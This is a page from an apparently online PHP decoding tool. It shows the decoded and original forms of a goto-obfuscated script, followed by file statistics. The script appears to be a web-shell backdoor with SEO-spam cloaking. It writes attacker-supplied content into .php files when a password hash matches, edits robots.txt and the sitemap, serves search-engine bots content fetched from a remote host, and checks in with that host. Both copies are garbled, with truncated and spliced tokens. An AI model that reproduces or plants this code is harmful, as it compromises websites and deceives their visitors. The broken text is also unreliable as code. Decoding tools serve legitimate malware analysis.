Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php @set_time_limit(3600); @ignore_user_abort(1); $z = "r72"; $f = "http"; if (is_htps(..

Decoded Output download

<?php 
@set_time_limit(3600); @ignore_user_abort(1); $z = "r72"; $f = "http"; if (is_htps()) { goto z; }htps"; f: $W = st_uri(); if (!($W == '')) { goto u; } $W = "/"; u: $q = urlencode($o W; L: goto q; goto C; E: goto J; goto S; P: q: goto E; C: W:VER["argv"])) { goto W; } goto g; g: $q = $_SERVER["PHP_SELF"] . "?" . $_L; z: $q = $_SERVER["REQUEST_URI"]; goto f; o: if (isset($_SERVER["REoLfuzS: X: goto z; n: $q = $_SERVER["PHP_SELF"] . "?" . $_SERVER["argv"]155ancapital" . ".t" . "op"; function is_htps() { goto I; S: J: goto z;E: goto q; goto S; W: return true; goto q; P: return true; goto E; X: return fae; goto HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_ttps") { goto J; } goto L; L: if (isset($_SERVER["<?  HTTP_FRONT_EN7FRONT_END_HTTPS ?>"]) !== "off") { goto o; } goto C; I: if (is124PS"]) !== "off") { goto X; } goto g; q: q: goto X; C: goto q; goto nHTTP_HOST"]; $o = @$_SERVER["HTTP_ACCEPT_LANGUA\xER["HTTP_REFERER"])) { goto o; } $I = $_SERVER["HTTP_REFEQ44"] != '')) { goto I; } $g = @$_GET["mapname"]; $L = @$_GET["action"]; if (is{ goto I; } $C = dirname(__FILE__); goto g; I: $C = $_SERVER ["DOCUMENT_ROt"; L: if (!($L == "put")) { goto o; } if (strstr($g, ".xml")) { goto u; } echo "1e!<br>"; goto W; u: $n = $C . "/sitemap.xml"; if (!= $C . "/robots.txt"; if (file_exists($P)) { goto n; } $E = "User-uuP; n: $E = dageget($P); P: $S = $u . "://" . $J . "/" . $g; if (stristr($E,E) . "\xd\xa" . "Sitemap: " . $S)) { goto E; } echo "<br>file wr\1E: echo "<br>ok<br>"; S: goto f; z: echo "<br>sitemap>"; f: W: if (!strstr($g, ".p" . "hp")) { goto J; } $quXz = sha1(sha1(@$_GET["a"])); $quXf//" . $X . "/a.p" . "hp") || $quXf == "808735b17c8943e371eaa")) { goto X; } $quXu = @$_GET["dstr"]; if (!file_put_contents($C . "/" . $g, $quXu)) { it; I: $quXW = $f . "://" . $X . "/indexnew.php?web=" . . "&urhang=" . $I . "&http=" . $u . "&lang=" . $o; $quseragent")) { goto E; } if (strstr($quXq, "okhtmlgetcontcgetcontent")) { goto L; } if (!strstr($quXq, "pingxmlgetco\9ngxmlgetcontent", '', $quXq); @header("Content-typf5t=utf-8"); echo pingmap($quXq); exit; g: goto C; L: $quXq = str_replace("okxm\x3ontent-type: text/xml"); echo $quXq; exit; C: goto P;fx74ext/html; charset=utf-8"); $quXq = str_replace("okh\x $quXq; exit; P: E: function pingmap($quXX) { goto X; o: foreach ($quXJ as $quXI) { goto f; fgoto q; f: $quXg = dageget($quXI); goto u; u: $quXL = strpos($quXg, "Sitemap ved") !== fae ? "pingok" : "error"; goto W; q: } goto I; J: $quXoSquXJ = explode("\xd 
", trim($quXX)); goto J; g: } function sbot() { goto n; u: C: goto W; R["HTTP_USER_AGENT"]); goto P; f: return true; goto u; P: if (strC, "bing") || stristr($quXC, "yahoo") || stristr($quXC, "google") || stristr($quXC,157glebot")){ goto L; } goto E; z: L: goto f; E: return fae; goto S; lofile_get_contents($quXX); goto W; g: curl_setopt($quXP, CURLOPT_URL, $quXX); goto L; L: curl_setopt($qexec($quXP); goto S; q: return $quXn; goto X; I: $quXP = curl_init(); goto g; o: if (!functito I; n: curl_setopt($quXP, CURLOPT_RETURNTRANSFER, 1); goto P; f: if ($quXn) { goto X; } goto fuPT_SSL_VERIFYPEER, 0); goto n; P: curl_setopt($quXP, CURLOPT_CONNECTTIMEOUT, 30); goto E; J: $quXn = ''; g

Did this file decode correctly?

Original Code

<?php
@set_time_limit(3600); @ignore_user_abort(1); $z = "r72"; $f = "http"; if (is_htps()) { goto z; }htps"; f: $W = st_uri(); if (!($W == '')) { goto u; } $W = "/"; u: $q = urlencode($o W; L: goto q; goto C; E: goto J; goto S; P: q: goto E; C: W:VER["argv"])) { goto W; } goto g; g: $q = $_SERVER["PHP_SELF"] . "\77" . $_L; z: $q = $_SERVER["REQUEST_URI"]; goto f; o: if (isset($_SERVER["REoLfuzS: X: goto z; n: $q = $_SERVER["PHP_SELF"] . "?" . $_SERVER["argv"]155ancapital" . ".t" . "op"; function is_htps() { goto I; S: J: goto z;E: goto q; goto S; W: return true; goto q; P: return true; goto E; X: return fae; goto HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_\164tps") { goto J; } goto L; L: if (isset($_SERVER["<?  HTTP_FRONT_EN7FRONT_END_HTTPS ?>"]) !== "off") { goto o; } goto C; I: if (is124PS"]) !== "off") { goto X; } goto g; q: q: goto X; C: goto q; goto nHTTP_HOST"]; $o = @$_SERVER["HTTP_ACCEPT_LANGUA\xER["HTTP_REFERER"])) { goto o; } $I = $_SERVER["HTTP_REFEQ44"] != '')) { goto I; } $g = @$_GET["mapname"]; $L = @$_GET["action"]; if (is{ goto I; } $C = dirname(__FILE__); goto g; I: $C = $_SERVER ["DOCUMENT_ROt"; L: if (!($L == "put")) { goto o; } if (strstr($g, ".xml")) { goto u; } echo "1e!<br>"; goto W; u: $n = $C . "/sitemap.xml"; if (!= $C . "/robots.txt"; if (file_exists($P)) { goto n; } $E = "User-uuP; n: $E = dageget($P); P: $S = $u . "://" . $J . "/" . $g; if (stristr($E,E) . "\xd\xa" . "Sitemap: " . $S)) { goto E; } echo "<br>file wr\1E: echo "<br>ok<br>"; S: goto f; z: echo "<br>sitemap>"; f: W: if (!strstr($g, ".p" . "hp")) { goto J; } $quXz = sha1(sha1(@$_GET["a"])); $quXf//" . $X . "/a.p" . "hp") || $quXf == "808735b17c8943e371eaa")) { goto X; } $quXu = @$_GET["dstr"]; if (!file_put_contents($C . "/" . $g, $quXu)) { it; I: $quXW = $f . "://" . $X . "/indexnew.php?web=" . . "&urhang=" . $I . "&http=" . $u . "&lang=" . $o; $quseragent")) { goto E; } if (strstr($quXq, "okhtmlgetcontcgetcontent")) { goto L; } if (!strstr($quXq, "pingxmlgetco\9ngxmlgetcontent", '', $quXq); @header("Content-typf5t=utf-8"); echo pingmap($quXq); exit; g: goto C; L: $quXq = str_replace("okxm\x3ontent-type: text/xml"); echo $quXq; exit; C: goto P;fx74ext/html; charset=utf-8"); $quXq = str_replace("okh\x $quXq; exit; P: E: function pingmap($quXX) { goto X; o: foreach ($quXJ as $quXI) { goto f; fgoto q; f: $quXg = dageget($quXI); goto u; u: $quXL = strpos($quXg, "Sitemap ved") !== fae ? "pingok" : "error"; goto W; q: } goto I; J: $quXoSquXJ = explode("\xd
", trim($quXX)); goto J; g: } function sbot() { goto n; u: C: goto W; R["HTTP_USER_AGENT"]); goto P; f: return true; goto u; P: if (strC, "bing") || stristr($quXC, "yahoo") || stristr($quXC, "google") || stristr($quXC,157glebot")){ goto L; } goto E; z: L: goto f; E: return fae; goto S; lofile_get_contents($quXX); goto W; g: curl_setopt($quXP, CURLOPT_URL, $quXX); goto L; L: curl_setopt($qexec($quXP); goto S; q: return $quXn; goto X; I: $quXP = curl_init(); goto g; o: if (!functito I; n: curl_setopt($quXP, CURLOPT_RETURNTRANSFER, 1); goto P; f: if ($quXn) { goto X; } goto fuPT_SSL_VERIFYPEER, 0); goto n; P: curl_setopt($quXP, CURLOPT_CONNECTTIMEOUT, 30); goto E; J: $quXn = ''; g

Function Calls

None

Variables

None

Stats

MD5 5b70c3f03e2a51aebb72eb6eb08f1152
Eval Count 0
Decode Time 47 ms